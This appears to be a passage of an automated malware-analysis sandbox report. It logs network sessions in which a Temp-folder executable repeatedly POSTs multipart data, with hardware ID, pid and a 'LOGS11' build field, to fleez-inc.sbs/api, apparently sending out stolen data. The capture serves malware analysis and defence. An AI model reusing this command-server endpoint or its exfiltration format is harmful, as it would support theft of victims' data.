{"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193c967bc72ccc-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1339&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=945&delivery_rate=2148367&cwnd=251&unsent_bytes=0&cid=2aefc04cd3d9d104&ts=944&x=0"
2024-11-12 20:22:54 UTC	370	IN	Data Raw: 34 64 64 0d 0a 46 49 78 35 76 41 39 35 35 68 55 7a 32 4f 50 42 56 52 78 32 6c 41 7a 38 55 72 73 33 45 7a 79 63 42 39 41 6e 57 44 72 36 71 36 52 76 72 67 2b 65 4e 55 33 4b 4e 30 43 39 77 66 73 68 62 67 50 78 49 4e 34 7a 33 78 55 70 57 76 31 72 6f 30 4a 30 47 49 7a 47 68 69 37 71 47 4e 42 38 48 4d 6f 33 56 71 44 42 2b 77 35 6e 56 50 46 69 33 6d 69 5a 55 6e 6c 65 2f 57 75 79 52 6a 4e 56 69 73 66 48 66 4f 41 65 31 47 6f 61 67 6e 52 66 74 59 61 6b 4d 48 30 63 2b 6d 57 52 4f 74 59 56 50 78 37 35 66 66 49 64 65 6e 65 66 33 38 56 5a 37 51 72 58 4c 51 54 4b 62 68 47 39 6a 65 4e 76 50 68 66 78 62 70 41 30 33 31 78 37 56 50 52 6a 73 30 4d 79 53 70 50 4e 7a 48 7a 75 48 64 56 67 45 35 5a 35 56 62 4b 4e 6f 6a 70 39 56 4c 67 75 6d 53 69 5a 44 54 45 4e 7a 47 61 6a 56 43 Data Ascii: 4ddFIx5vA955hUz2OPBVRx2lAz8Urs3EzycB9AnWDr6q6Rvrg+eNU3KN0C9wfshbgPxIN4z3xUpWv1ro0J0GIzGhi7qGNB8HMo3VqDB+w5nVPFi3miZUnle/WuyRjNVisfHfOAe1GoagnRftYakMH0c+mWROtYVPx75ffIdenef38VZ7QrXLQTKbhG9jeNvPhfxbpA031x7VPRjs0MySpPNzHzuHdVgE5Z5VbKNojp9VLgumSiZDTENzGajVC
2024-11-12 20:22:54 UTC	882	IN	Data Raw: 6a 33 54 57 6e 4a 65 2b 57 2b 34 53 6a 42 63 6c 63 54 41 64 75 35 62 6b 43 30 63 6e 44 63 4a 2b 71 4b 6d 4a 33 6b 59 34 43 79 6b 63 4d 59 62 61 42 37 35 61 66 49 64 65 6c 43 64 79 73 56 39 34 52 6a 57 5a 67 6d 45 5a 56 65 33 68 4c 45 78 65 78 72 38 62 59 77 36 31 31 4e 79 56 2f 56 73 74 30 49 2b 47 4e 61 4a 77 57 36 75 51 35 35 4d 46 6f 39 37 57 36 32 42 34 79 67 77 44 62 5a 70 6b 6e 43 42 46 58 56 66 2b 6d 53 32 53 7a 52 63 6c 4d 2f 49 65 2b 45 64 31 47 30 63 6a 6e 39 5a 75 34 79 6f 4f 48 34 52 2b 32 71 59 50 4e 68 51 4d 52 43 2b 59 71 6f 46 59 68 69 32 7a 73 56 6b 72 43 37 64 59 78 57 44 59 52 47 6c 7a 37 70 33 65 52 69 32 4e 74 34 2b 33 46 70 6a 58 2b 78 67 76 46 63 32 58 5a 37 45 78 58 6a 75 48 74 6c 67 46 59 4a 77 55 72 4b 46 6f 6a 6c 79 48 76 56 71 Data Ascii: j3TWnJe+W+4SjBclcTAdu5bkC0cnDcJ+qKmJ3kY4CykcMYbaB75afIdelCdysV94RjWZgmEZVe3hLExexr8bYw611NyV/Vst0I+GNaJwW6uQ55MFo97W62B4ygwDbZpknCBFXVf+mS2SzRclM/Ie+Ed1G0cjn9Zu4yoOH4R+2qYPNhQMRC+YqoFYhi2zsVkrC7dYxWDYRGlz7p3eRi2Nt4+3FpjX+xgvFc2XZ7ExXjuHtlgFYJwUrKFojlyHvVq
2024-11-12 20:22:54 UTC	1369	IN	Data Raw: 33 66 38 66 0d 0a 6f 74 2b 57 4c 4f 54 71 54 74 77 42 76 74 6b 6d 7a 37 56 55 48 35 65 2f 32 53 38 54 7a 45 59 31 6f 6e 42 62 71 35 44 6e 6b 49 57 6c 47 56 62 73 5a 44 68 41 6e 30 61 2b 47 6d 49 63 4d 59 62 61 42 37 35 61 66 49 64 65 6c 4f 65 78 63 70 32 36 41 6e 51 59 67 6d 4f 5a 56 57 30 68 61 38 35 64 78 6e 35 61 34 77 30 32 55 64 77 57 2f 6c 72 76 31 63 2f 47 4e 61 4a 77 57 36 75 51 35 35 58 4c 34 4e 6e 51 4c 33 44 6c 6a 52 77 47 76 46 34 33 69 2b 58 54 44 46 5a 38 69 58 71 42 54 6c 55 6c 63 44 44 65 66 77 52 30 6d 77 4a 67 33 35 59 73 49 43 74 4f 48 55 59 38 33 79 56 50 39 46 61 63 46 50 7a 62 72 5a 46 65 68 62 59 7a 74 34 32 74 6c 76 2f 59 42 53 57 64 45 44 34 74 4b 41 35 63 42 50 67 4c 6f 46 2b 77 42 56 32 55 72 34 39 38 6b 51 32 56 4a 6e 47 77 48 Data Ascii: 3f8fot+WLOTqTtwBvtkmz7VUH5e/2S8TzEY1onBbq5DnkIWlGVbsZDhAn0a+GmIcMYbaB75afIdelOexcp26AnQYgmOZVW0ha85dxn5a4w02UdwW/lrv1c/GNaJwW6uQ55XL4NnQL3DljRwGvF43i+XTDFZ8iXqBTlUlcDDefwR0mwJg35YsICtOHUY83yVP9FacFPzbrZFehbYzt42tlv/YBSWdED4tKA5cBPgLoF+wBV2Ur498kQ2VJnGwH
2024-11-12 20:22:54 UTC	1369	IN	Data Raw: 5a 68 2b 41 64 31 79 78 6a 36 30 2b 63 68 7a 36 61 59 77 39 33 46 31 37 56 2f 74 70 76 30 59 6f 57 35 6d 4a 69 44 62 70 41 35 34 31 57 36 4e 45 5a 70 6e 42 76 48 6c 6e 56 50 46 69 33 6d 69 5a 56 48 6c 5a 38 47 47 67 53 79 68 57 6e 38 6e 41 66 75 59 63 30 6d 4d 56 6c 6e 39 51 75 6f 2b 73 50 33 63 51 39 32 71 61 50 4e 34 56 50 78 37 35 66 66 49 64 65 6e 43 62 30 39 77 30 77 42 44 65 61 67 75 53 62 42 47 6c 7a 37 70 33 65 52 69 32 4e 74 34 30 30 6c 39 34 58 66 64 68 76 30 55 7a 56 35 48 42 79 33 37 38 47 74 52 2f 48 34 46 32 58 72 43 46 71 7a 74 78 47 50 4a 38 6c 58 43 58 46 58 5a 47 76 6a 33 79 5a 54 46 4f 75 39 76 55 4e 76 46 56 78 79 30 63 69 44 63 4a 2b 6f 69 76 4e 6e 38 65 38 47 57 62 50 64 6c 51 65 31 6e 79 5a 62 4a 47 50 46 36 56 77 63 35 36 34 68 6a Data Ascii: Zh+Ad1yxj60+chz6aYw93F17V/tpv0YoW5mJiDbpA541W6NEZpnBvHlnVPFi3miZVHlZ8GGgSyhWn8nAfuYc0mMVln9Quo+sP3cQ92qaPN4VPx75ffIdenCb09w0wBDeaguSbBGlz7p3eRi2Nt400l94Xfdhv0UzV5HBy378GtR/H4F2XrCFqztxGPJ8lXCXFXZGvj3yZTFOu9vUNvFVxy0ciDcJ+oivNn8e8GWbPdlQe1nyZbJGPF6Vwc564hj
2024-11-12 20:22:54 UTC	1369	IN	Data Raw: 48 78 58 74 49 43 6c 4f 33 4e 55 75 43 36 5a 4b 4a 6b 4e 4d 58 6e 6b 61 4c 52 53 4b 32 32 66 79 5a 63 32 38 56 58 48 4c 52 79 49 4e 77 6e 36 6a 4b 38 39 63 78 48 79 5a 70 6b 7a 32 46 6c 31 55 2f 4e 68 75 30 45 2f 53 6f 72 50 79 48 62 68 46 64 46 68 43 59 70 79 55 62 62 42 37 58 64 35 44 4c 59 32 33 67 48 4f 56 54 46 42 73 48 7a 79 51 6a 59 59 77 49 6e 4a 65 2f 77 58 30 57 30 61 68 33 4e 61 76 59 65 6c 4e 6e 30 52 39 57 75 59 4d 64 6c 5a 65 31 6e 32 62 37 78 49 50 46 79 65 7a 34 59 34 72 68 7a 47 4c 55 50 45 52 56 79 30 69 4b 41 78 63 77 4c 65 58 39 34 76 6c 30 77 78 57 66 49 6c 36 67 55 2b 55 35 44 46 77 33 37 72 47 74 5a 6e 45 34 74 34 51 37 75 4f 71 6a 42 31 47 66 6c 67 6d 7a 37 4c 55 6e 70 56 39 6d 79 38 51 33 6f 57 32 4d 37 65 4e 72 5a 62 36 47 34 56 Data Ascii: HxXtIClO3NUuC6ZKJkNMXnkaLRSK22fyZc28VXHLRyINwn6jK89cxHyZpkz2Fl1U/Nhu0E/SorPyHbhFdFhCYpyUbbB7Xd5DLY23gHOVTFBsHzyQjYYwInJe/wX0W0ah3NavYelNn0R9WuYMdlZe1n2b7xIPFyez4Y4rhzGLUPERVy0iKAxcwLeX94vl0wxWfIl6gU+U5DFw37rGtZnE4t4Q7uOqjB1Gflgmz7LUnpV9my8Q3oW2M7eNrZb6G4V
2024-11-12 20:22:54 UTC	1369	IN	Data Raw: 36 50 73 54 5a 78 56 4c 67 75 6d 53 69 5a 44 54 46 76 36 47 4b 31 53 6e 68 78 6e 39 4c 48 66 4f 30 51 30 69 30 45 79 6d 34 52 76 59 33 6a 62 7a 34 5a 2b 6d 4f 61 49 74 56 56 63 56 66 35 62 36 42 4b 4e 56 57 62 79 63 4e 6b 37 77 6e 52 5a 68 36 48 63 31 36 31 6a 61 73 39 50 6c 71 32 61 59 5a 77 67 52 56 64 58 65 39 76 38 47 49 67 54 70 2f 46 31 33 33 6a 46 35 35 79 56 5a 30 33 56 72 62 42 2b 33 64 2b 46 66 74 38 6d 7a 48 54 58 33 78 57 38 57 43 33 53 6a 35 63 6b 38 66 55 65 4f 45 62 32 47 59 61 67 58 52 61 73 49 2b 71 4a 54 35 61 74 6d 6d 47 63 49 45 56 57 30 58 2f 61 4c 34 48 46 46 4f 4f 7a 6f 52 58 34 42 44 5a 59 51 33 45 61 42 2b 6a 77 61 51 37 50 6b 79 32 5a 35 41 38 32 6c 4a 35 56 76 74 6c 75 55 55 31 55 70 62 4f 31 48 7a 69 45 63 78 69 47 49 6c 7a 58 Data Ascii: 6PsTZxVLgumSiZDTFv6GK1Snhxn9LHfO0Q0i0Eym4RvY3jbz4Z+mOaItVVcVf5b6BKNVWbycNk7wnRZh6Hc161jas9Plq2aYZwgRVdXe9v8GIgTp/F133jF55yVZ03VrbB+3d+Fft8mzHTX3xW8WC3Sj5ck8fUeOEb2GYagXRasI+qJT5atmmGcIEVW0X/aL4HFFOOzoRX4BDZYQ3EaB+jwaQ7Pky2Z5A82lJ5VvtluUU1UpbO1HziEcxiGIlzX
2024-11-12 20:22:54 UTC	1369	IN	Data Raw: 33 65 52 69 32 4e 74 34 77 33 56 6c 79 57 66 42 71 76 30 6f 39 55 35 66 44 79 47 54 68 48 74 5a 68 45 34 6c 6c 57 37 43 54 71 6a 35 7a 47 76 35 38 6e 58 43 58 46 58 5a 47 76 6a 33 79 64 7a 42 62 6c 4e 2f 4c 65 61 34 45 6b 48 52 62 67 33 73 52 34 73 47 78 4a 58 34 66 39 6d 6d 51 49 74 68 64 66 6c 54 2b 59 37 6c 50 4f 56 47 63 78 38 39 77 37 78 62 66 62 42 75 42 64 31 69 6f 6a 4f 4e 35 50 68 50 75 4c 73 5a 77 37 6c 6c 36 62 2f 31 7a 38 6c 70 30 51 64 6a 4f 79 6a 61 32 57 39 39 2f 46 6f 78 7a 55 62 65 48 71 44 5a 2f 46 2f 5a 75 6e 54 44 63 58 6e 35 59 2b 57 69 34 54 44 4e 4b 6b 4d 33 55 64 75 49 66 6e 69 4e 62 67 32 38 52 34 73 47 54 4e 48 55 59 39 6d 4f 4c 63 4d 59 62 61 42 37 35 61 66 49 64 65 6c 43 54 77 73 42 39 37 52 6a 51 5a 68 47 4c 65 46 75 38 68 36 Data Ascii: 3eRi2Nt4w3VlyWfBqv0o9U5fDyGThHtZhE4llW7CTqj5zGv58nXCXFXZGvj3ydzBblN/Lea4EkHRbg3sR4sGxJX4f9mmQIthdflT+Y7lPOVGcx89w7xbfbBuBd1iojON5PhPuLsZw7ll6b/1z8lp0QdjOyja2W99/FoxzUbeHqDZ/F/ZunTDcXn5Y+Wi4TDNKkM3UduIfniNbg28R4sGTNHUY9mOLcMYbaB75afIdelCTwsB97RjQZhGLeFu8h6
2024-11-12 20:22:54 UTC	1369	IN	Data Raw: 2f 57 4c 63 4d 64 52 46 64 68 36 77 4a 62 51 46 59 67 6a 57 69 63 4a 6e 72 6b 4f 4f 50 30 44 52 4a 41 62 71 30 37 78 35 5a 31 54 67 4c 73 5a 69 6c 78 56 6a 48 71 59 6c 39 55 59 6f 53 70 37 4b 30 48 57 70 4a 65 42 4e 45 49 68 30 58 62 75 47 34 33 6b 2b 47 37 59 32 70 33 44 61 52 32 4d 52 37 33 4f 2f 56 54 30 55 6b 4e 6a 4c 65 71 35 56 6e 69 45 66 6a 33 74 55 76 5a 48 73 4a 57 34 66 2b 6e 6a 53 4e 4d 73 56 50 78 37 76 62 72 31 58 4e 46 2f 58 32 4e 42 37 2f 68 6a 62 61 6c 65 4d 5a 6c 79 32 77 65 31 33 61 78 2f 36 61 4a 4d 6c 6c 6b 52 6e 58 65 68 69 2f 6b 30 72 56 5a 53 4a 2b 54 69 75 41 35 34 31 57 37 46 30 58 37 53 47 74 53 59 7a 4e 50 31 69 6e 54 7a 59 55 6a 45 51 76 6d 50 79 48 57 6b 57 32 4d 33 58 4e 72 5a 4c 6a 44 5a 4f 31 79 41 42 36 4a 37 74 4c 6a 34 Data Ascii: /WLcMdRFdh6wJbQFYgjWicJnrkOOP0DRJAbq07x5Z1TgLsZilxVjHqYl9UYoSp7K0HWpJeBNEIh0XbuG43k+G7Y2p3DaR2MR73O/VT0UkNjLeq5VniEfj3tUvZHsJW4f+njSNMsVPx7vbr1XNF/X2NB7/hjbaleMZly2we13ax/6aJMllkRnXehi/k0rVZSJ+TiuA541W7F0X7SGtSYzNP1inTzYUjEQvmPyHWkW2M3XNrZLjDZO1yAB6J7tLj4
2024-11-12 20:22:54 UTC	1369	IN	Data Raw: 6d 4f 58 46 57 4d 65 70 69 58 31 53 7a 64 5a 6d 38 66 46 5a 50 77 64 33 58 73 59 77 30 6c 76 6e 34 79 75 4d 6e 41 54 79 46 43 2f 4f 73 6c 59 66 6c 6e 41 57 34 56 55 50 55 6a 61 37 38 56 67 37 56 75 51 4c 51 50 45 4c 78 47 62 69 37 4d 36 63 52 4f 32 49 4e 34 30 6d 51 30 78 65 2f 4e 6f 74 30 73 39 47 72 6e 44 31 6e 76 68 48 4a 34 6a 57 34 67 33 43 66 71 41 71 53 64 7a 47 2f 45 69 6d 53 72 65 46 54 38 65 38 43 58 71 42 54 74 53 69 4d 54 4a 63 61 49 64 30 47 4e 62 6d 7a 6c 49 2b 70 66 6a 62 79 31 61 74 6e 7a 65 61 4a 6b 53 66 31 50 2f 5a 72 78 47 4b 45 71 65 79 74 42 31 71 53 58 67 53 42 61 4a 63 6c 2b 39 76 35 30 57 64 41 54 37 59 5a 6c 79 2b 56 4a 6e 58 63 42 62 68 56 51 39 53 4e 72 76 78 57 44 74 57 35 41 74 41 38 51 76 45 5a 75 4c 73 7a 70 78 45 37 52 4f Data Ascii: mOXFWMepiX1SzdZm8fFZPwd3XsYw0lvn4yuMnATyFC/OslYflnAW4VUPUja78Vg7VuQLQPELxGbi7M6cRO2IN40mQ0xe/Not0s9GrnD1nvhHJ4jW4g3CfqAqSdzG/EimSreFT8e8CXqBTtSiMTJcaId0GNbmzlI+pfjby1atnzeaJkSf1P/ZrxGKEqeytB1qSXgSBaJcl+9v50WdAT7YZly+VJnXcBbhVQ9SNrvxWDtW5AtA8QvEZuLszpxE7RO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49845	172.67.150.243	443	7236	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:55 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RF17NAHR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18104 Host: fleez-inc.sbs
2024-11-12 20:22:55 UTC	15331	OUT	Data Raw: 2d 2d 52 46 31 37 4e 41 48 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 45 44 33 35 33 37 45 38 33 33 32 45 31 39 43 38 30 43 38 45 44 30 41 39 37 38 38 38 32 33 0d 0a 2d 2d 52 46 31 37 4e 41 48 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 52 46 31 37 4e 41 48 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 0d 0a 2d 2d 52 46 31 37 4e 41 48 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 Data Ascii: --RF17NAHRContent-Disposition: form-data; name="hwid"AFED3537E8332E19C80C8ED0A9788823--RF17NAHRContent-Disposition: form-data; name="pid"2--RF17NAHRContent-Disposition: form-data; name="lid"LOGS11--public--RF17NAHRContent-Disposi
2024-11-12 20:22:55 UTC	2773	OUT	Data Raw: b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 4d 6d b7 df b2 9f ab 08 69 99 b1 aa c5 3d ae 79 aa d5 a8 00 8f 1d 07 3c 68 bb 84 bf 22 32 72 5f 3f ee a9 5d 0a 54 39 63 ee d9 4d c8 Data Ascii: D\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?lMmi=y<h"2r_?]T9cM
2024-11-12 20:22:55 UTC	1003	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j6hqhevp0nag1j4ornadk0ma05; expires=Sat, 08-Mar-2025 14:09:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7isWGMR4ySf1EzyZgs1RdmKugZf4OTBs4rplazgK7jzfiS6Pjn3fXr1tHh%2FzRWTKeRb6wu1LP0JYVTtYobTGqWy7oW9o7gH8rhXQUC6AOXZeDZGv0A25ZQ5rin0Cw17m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193ca29b92e716-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1547&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2832&recv_bytes=19053&delivery_rate=1838730&cwnd=251&unsent_bytes=0&cid=b9cd233905186963&ts=913&x=0"
2024-11-12 20:22:55 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-11-12 20:22:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49847	172.67.150.243	443	7236	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:56 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MK7VDPP79E17CJHS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8773 Host: fleez-inc.sbs
2024-11-12 20:22:56 UTC	8773	OUT	Data Raw: 2d 2d 4d 4b 37 56 44 50 50 37 39 45 31 37 43 4a 48 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 45 44 33 35 33 37 45 38 33 33 32 45 31 39 43 38 30 43 38 45 44 30 41 39 37 38 38 38 32 33 0d 0a 2d 2d 4d 4b 37 56 44 50 50 37 39 45 31 37 43 4a 48 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 4b 37 56 44 50 50 37 39 45 31 37 43 4a 48 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 0d 0a 2d 2d 4d Data Ascii: --MK7VDPP79E17CJHSContent-Disposition: form-data; name="hwid"AFED3537E8332E19C80C8ED0A9788823--MK7VDPP79E17CJHSContent-Disposition: form-data; name="pid"2--MK7VDPP79E17CJHSContent-Disposition: form-data; name="lid"LOGS11--public--M
2024-11-12 20:22:57 UTC	1012	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=12r58lf9p5iko0u3dbch1m98bg; expires=Sat, 08-Mar-2025 14:09:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5PizDjQW3SvZa9d23Gd5z418Rk%2FQu4R%2F5%2BtJqOp7x%2Bl5%2BGWT8mWfsLO7ibUI7SkG0QUnEEDfAZ27FkRcTT5x1qqdQE8l%2BAhJFSII%2BTOW4bsSuc9hyj54QeZc8r4ATep5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193cad599851f1-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18999&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2831&recv_bytes=9707&delivery_rate=152100&cwnd=32&unsent_bytes=0&cid=38350f81c801e7df&ts=654&x=0"
2024-11-12 20:22:57 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-11-12 20:22:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49849	172.67.150.243	443	7236	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:58 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=U6LDTOPLTSM03 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20408 Host: fleez-inc.sbs
2024-11-12 20:22:58 UTC	15331	OUT	Data Raw: 2d 2d 55 36 4c 44 54 4f 50 4c 54 53 4d 30 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 45 44 33 35 33 37 45 38 33 33 32 45 31 39 43 38 30 43 38 45 44 30 41 39 37 38 38 38 32 33 0d 0a 2d 2d 55 36 4c 44 54 4f 50 4c 54 53 4d 30 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 55 36 4c 44 54 4f 50 4c 54 53 4d 30 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 0d 0a 2d 2d 55 36 4c 44 54 4f 50 4c 54 53 Data Ascii: --U6LDTOPLTSM03Content-Disposition: form-data; name="hwid"AFED3537E8332E19C80C8ED0A9788823--U6LDTOPLTSM03Content-Disposition: form-data; name="pid"3--U6LDTOPLTSM03Content-Disposition: form-data; name="lid"LOGS11--public--U6LDTOPLTS
2024-11-12 20:22:58 UTC	5077	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-11-12 20:23:01 UTC	1004	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:23:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=edu6ekqm4ctqpvlr9m9jd5f72a; expires=Sat, 08-Mar-2025 14:09:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OHMJ15B3FGTqm5SSbTLNAEdBZ9HqWW1xyipTCCIv5HdmulfnQT4ezs0cw71PcrtjXsgLRjnnYWBQT48hQf0F%2BpMgxdfxJ6kTEzNzO4r7o6zqatNAG4H2mKHGgFhBX4Ag"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193cb9bca02d35-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1323&sent=13&recv=28&lost=0&retrans=0&sent_bytes=2831&recv_bytes=21362&delivery_rate=2103122&cwnd=251&unsent_bytes=0&cid=3993af3ed1557ba5&ts=2949&x=0"
2024-11-12 20:23:01 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-11-12 20:23:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49852	172.67.150.243	443	7236	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
